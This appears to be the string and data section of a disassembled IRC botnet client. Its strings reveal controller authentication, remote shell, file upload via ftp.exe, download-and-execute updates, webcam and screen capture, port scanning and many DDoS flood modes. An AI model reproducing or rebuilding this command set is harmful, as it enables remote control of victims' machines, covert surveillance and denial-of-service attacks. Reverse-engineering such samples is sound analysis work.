		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 4
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E63o
		align 10h
unk_429BD0	db  2Dh	; -		; DATA XREF: sub_401ACD+7E25o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E13o
					; sub_401ACD+7E7Ao
		align 4
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7DFCo
		align 10h
asc_429C50:				; DATA XREF: sub_401ACD+7DCCo
		unicode	0, <~>,0
unk_429C54	db  2Dh	; -		; DATA XREF: sub_401ACD+7D7Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 4
unk_429C78	db  2Dh	; -		; DATA XREF: sub_401ACD+7D0Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s seconds',0
		align 10h
unk_429CA0	db  2Dh	; -		; DATA XREF: sub_401ACD+7CC4o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s ms',0
		align 4
unk_429CC4	db  2Dh	; -		; DATA XREF: sub_401ACD+7CA2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429CE8	db  2Dh	; -		; DATA XREF: sub_401ACD+7C82o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 4
unk_429D0C	db  2Dh	; -		; DATA XREF: sub_401ACD+7C5Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 10h
dword_429D30	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: sub_401ACD+7C3Bo
		dd 2E732520h, 0
unk_429D4C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409685o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 4
unk_429D78	db  2Dh	; -		; DATA XREF: sub_401ACD+7BB1o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_429D9C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4095FDo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_429DC4	db  2Dh	; -		; DATA XREF: sub_401ACD+7B26o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401ACD+7B0Co
unk_429DF0	db  2Dh	; -		; DATA XREF: sub_401ACD+79FFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_429E18	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4094B3o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_429E3C	db  2Dh	; -		; DATA XREF: sub_401ACD+79DCo
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_429E5C	db  2Dh	; -		; DATA XREF: sub_401ACD+79B8o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429E84	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409468o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_429EAC	db  2Dh	; -		; DATA XREF: sub_401ACD+796Do
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_429ECC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4093FDo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_429EFC	db  2Dh	; -		; DATA XREF: sub_401ACD+7926o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_429F1C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409399o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_429F4C	db  2Dh	; -		; DATA XREF: sub_401ACD+78C5o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 10h
dword_429F70	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401ACD+7885o
		dd 27732527h, 2Eh
unk_429F8C	db  2Dh	; -		; DATA XREF: sub_401ACD+7803o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_429FB0	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401ACD+7786o
		dd 0
unk_429FC8	db  2Dh	; -		; DATA XREF: sub_401ACD+7755o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 4
dword_42A008	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401ACD+76E6o
		dd 2Eh
dword_42A020	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401ACD:loc_409140o
		dd 746E6573h, 2Eh
unk_42A03C	db  2Dh	; -		; DATA XREF: sub_401ACD+766Co
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_42A05C	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401ACD+7630o
		dd 732520h
unk_42A074	db  2Dh	; -		; DATA XREF: sub_401ACD+7611o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 10h
asc_42A0A0:				; DATA XREF: sub_401ACD+75F9o
					; sub_40F6B4+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_42A0A4	db  2Dh	; -		; DATA XREF: sub_401ACD+75CFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileFailed	db 'Read file failed: %s',0
		align 4
unk_42A0C8	db  2Dh	; -		; DATA XREF: sub_401ACD+75C2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 4
unk_42A0EC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40901Fo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_0	db '- Invalid parameters for amateur video capture.',0
		align 4
unk_42A12C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409015o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCapt	db '- Error while capturing amateur video from webcam.',0
unk_42A16C	db  2Dh	; -		; DATA XREF: sub_401ACD+753Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aAmateurVideoSa	db '- Amateur video saved to: %s.',0
		align 4
aVideo		db 'video',0            ; DATA XREF: sub_401ACD:loc_408F87o
		align 10h
unk_42A1A0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F74o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_1	db '- Invalid parameters for webcam capture.',0
		align 4
unk_42A1D8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F6Do
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_0	db '- Error while capturing from webcam.',0
		align 4
unk_42A20C	db  2Dh	; -		; DATA XREF: sub_401ACD+7490o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aWebcamCaptureS	db '- Webcam capture saved to: %s.',0
aFrame		db 'frame',0            ; DATA XREF: sub_401ACD:loc_408EE6o
		align 10h
unk_42A240	db  2Dh	; -		; DATA XREF: sub_401ACD+740Co
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverListComp	db '- Driver list complete.',0
		align 4
unk_42A268	db  2Dh	; -		; DATA XREF: sub_401ACD+73D9o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverDSS_	db '- Driver #%d - %s - %s.',0
		align 10h
aDrivers	db 'drivers',0          ; DATA XREF: sub_401ACD:loc_408E59o
unk_42A298	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E46o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aNoFilenameSpec	db '- No filename specified for screen capture.',0
		align 4
unk_42A2D4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E3Fo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_1	db '- Error while capturing screen.',0
		align 4
unk_42A304	db  2Dh	; -		; DATA XREF: sub_401ACD+7362o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aScreenCaptureS	db '- Screen capture saved to: %s.',0
aScreen		db 'screen',0           ; DATA XREF: sub_401ACD:loc_408DFEo
		align 4
dword_42A338	dd 234032Dh, 6E69616Dh,	202D0302h, 68746547h, 3A74736Fh
					; DATA XREF: sub_401ACD+7319o
		dd 2E732520h, 0
unk_42A354	db  2Dh	; -		; DATA XREF: sub_401ACD+72D3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 4
unk_42A384	db  2Dh	; -		; DATA XREF: sub_401ACD+72B7o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 4
unk_42A3AC	db  2Dh	; -		; DATA XREF: sub_401ACD+720Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 4
unk_42A3CC	db  2Dh	; -		; DATA XREF: sub_401ACD+71D6o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 4
unk_42A3EC	db  2Dh	; -		; DATA XREF: sub_401ACD+7181o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
dword_42A408	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
					; DATA XREF: sub_401ACD+710Fo
dword_42A41C	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D5o
					; sub_401ACD+7C48o
unk_42A428	db  2Dh	; -		; DATA XREF: sub_401ACD+70B0o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+709Fo
		align 10h
dword_42A450	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401ACD+7074o
		dd 25203A29h, 73h
dword_42A46C	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401ACD+7005o
		dd 203A2973h, 7325h
dword_42A488	dd 45444F4Dh, 732520h	; DATA XREF: sub_401ACD+6FAAo
dword_42A490	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401ACD+6F7Ao
		dd 203A2973h, 7325h
dword_42A4AC	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F01o
dword_42A4B8	dd 0A0D7325h, 0		; DATA XREF: sub_401ACD+6ECFo
					; sub_401ACD+6F58o ...
dword_42A4C0	dd 54524150h, 732520h	; DATA XREF: sub_401ACD+6E96o
dword_42A4C8	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E85o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42A504	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E16o
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 10h
unk_42A530	db  2Dh	; -		; DATA XREF: sub_401ACD+6D86o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A56C	db  2Dh	; -		; DATA XREF: sub_401ACD+6D1Bo
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_42A5A0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408746o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRepeatNotAllow	db 'Repeat not allowed in command line: %s',0
		align 4
dword_42A5D4	dd 234032Dh, 6E69616Dh,	202D0302h, 65706552h, 203A7461h
					; DATA XREF: sub_401ACD+6C3Eo
		dd 7325h
dword_42A5EC	dd 234032Dh, 6E69616Dh,	202D0302h, 616C6544h, 2E79h
					; DATA XREF: sub_401ACD:loc_408674o
dword_42A600	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401ACD+6B63o
					; sub_401ACD+6C15o ...
dword_42A610	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD:loc_4085D1o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 4
dword_42A658	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6AFAo
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_42A694	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6A8Bo
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 10h
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401ACD+69E3o
		align 4
dword_42A6CC	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401ACD+6981o
		dd 7325203Ah, 0
unk_42A6E8	db  2Dh	; -		; DATA XREF: sub_401ACD+6976o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
unk_42A70C	db  2Dh	; -		; DATA XREF: sub_401ACD+68DCo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42A748	db  2Dh	; -		; DATA XREF: sub_401ACD+6866o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 4
dword_42A778	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401ACD:loc_40826Co
					; sub_401ACD:loc_409367o
unk_42A784	db  2Dh	; -		; DATA XREF: sub_401ACD+678Ao
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_42A7A8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408235o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 10h
unk_42A7E0	db  2Dh	; -		; DATA XREF: sub_401ACD+675Eo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A818	db  2Dh	; -		; DATA XREF: sub_401ACD+66EEo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42A844	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+666Bo
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 10h
dword_42A880	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+65FCo
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 10h
unk_42A8B0	db  2Dh	; -		; DATA XREF: sub_401ACD+6583o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A8E8	db  2Dh	; -		; DATA XREF: sub_401ACD+6514o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A918	db  2Dh	; -		; DATA XREF: sub_401ACD+648Ao
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A950	db  2Dh	; -		; DATA XREF: sub_401ACD+641Bo
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 10h
unk_42A980	db  2Dh	; -		; DATA XREF: sub_401ACD+63A2o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A9B8	db  2Dh	; -		; DATA XREF: sub_401ACD+6333o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42A9F4	db  2Dh	; -		; DATA XREF: sub_401ACD+62BAo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
unk_42AA34	db  2Dh	; -		; DATA XREF: sub_401ACD+624Bo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
unk_42AA60	db  2Dh	; -		; DATA XREF: sub_401ACD+617Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42AAA4	db  2Dh	; -		; DATA XREF: sub_401ACD+610Do
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42AAE0	db  2Dh	; -		; DATA XREF: sub_401ACD+6010o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 4
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401ACD+5F64o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401ACD+5E87o
		align 4
dword_42AB3C	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401ACD+5DF3o
					; sub_401ACD+715Bo
unk_42AB48	db  2Dh	; -		; DATA XREF: sub_401ACD+5D8Fo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42AB84	db  2Dh	; -		; DATA XREF: sub_401ACD+5D20o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 4
unk_42ABD4	db  2Dh	; -		; DATA XREF: sub_401ACD+5C89o
					; sub_401ACD+607Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_8	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42AC0C	db  2Dh	; -		; DATA XREF: sub_401ACD+5C1Ao
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanStart	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 4
unk_42AC74	db  2Dh	; -		; DATA XREF: sub_401ACD+5AA4o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start scan, no IP specified.',0
		align 4
unk_42ACA8	db  2Dh	; -		; DATA XREF: sub_401ACD+5A47o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_10	db 'Failed to start scan, port is invalid.',0
		align 4
unk_42ACDC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4073F4o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_42AD0C	db  2Dh	; -		; DATA XREF: sub_401ACD+5920o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401ACD+5907o
aSS_2		db '-s:%s',0            ; DATA XREF: sub_401ACD+58F0o
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401ACD+58CDo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_401ACD+58A9o
					; ___:00411C62o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401ACD+5898o
		align 4
unk_42AD7C	db  2Dh	; -		; DATA XREF: sub_401ACD+584Eo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401ACD+582Bo
		align 4
unk_42ADA4	db  2Dh	; -		; DATA XREF: sub_401ACD+57F5o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScanni	db 'Already %d scanning threads. Too many specified.',0
		align 4
unk_42ADE4	db  2Dh	; -		; DATA XREF: sub_401ACD+5798o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42AE1C	db  2Dh	; -		; DATA XREF: sub_401ACD+572Do
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_42AE64	db  2Dh	; -		; DATA XREF: sub_401ACD+567Co
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 4
unk_42AE98	db  2Dh	; -		; DATA XREF: sub_401ACD+5648o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_42AECC	db  2Dh	; -		; DATA XREF: sub_401ACD+5624o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_42AF04	db  2Dh	; -		; DATA XREF: sub_401ACD+5582o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5565o
		align 4
unk_42AF58	db  2Dh	; -		; DATA XREF: sub_401ACD+5550o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_12	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42AF90	db  2Dh	; -		; DATA XREF: sub_401ACD+54E1o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
unk_42AFD8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406F00o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 10h
unk_42B010	db  2Dh	; -		; DATA XREF: sub_401ACD+5429o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_13	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42B048	db  2Dh	; -		; DATA XREF: sub_401ACD+53AFo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401ACD+539Fo
		align 4
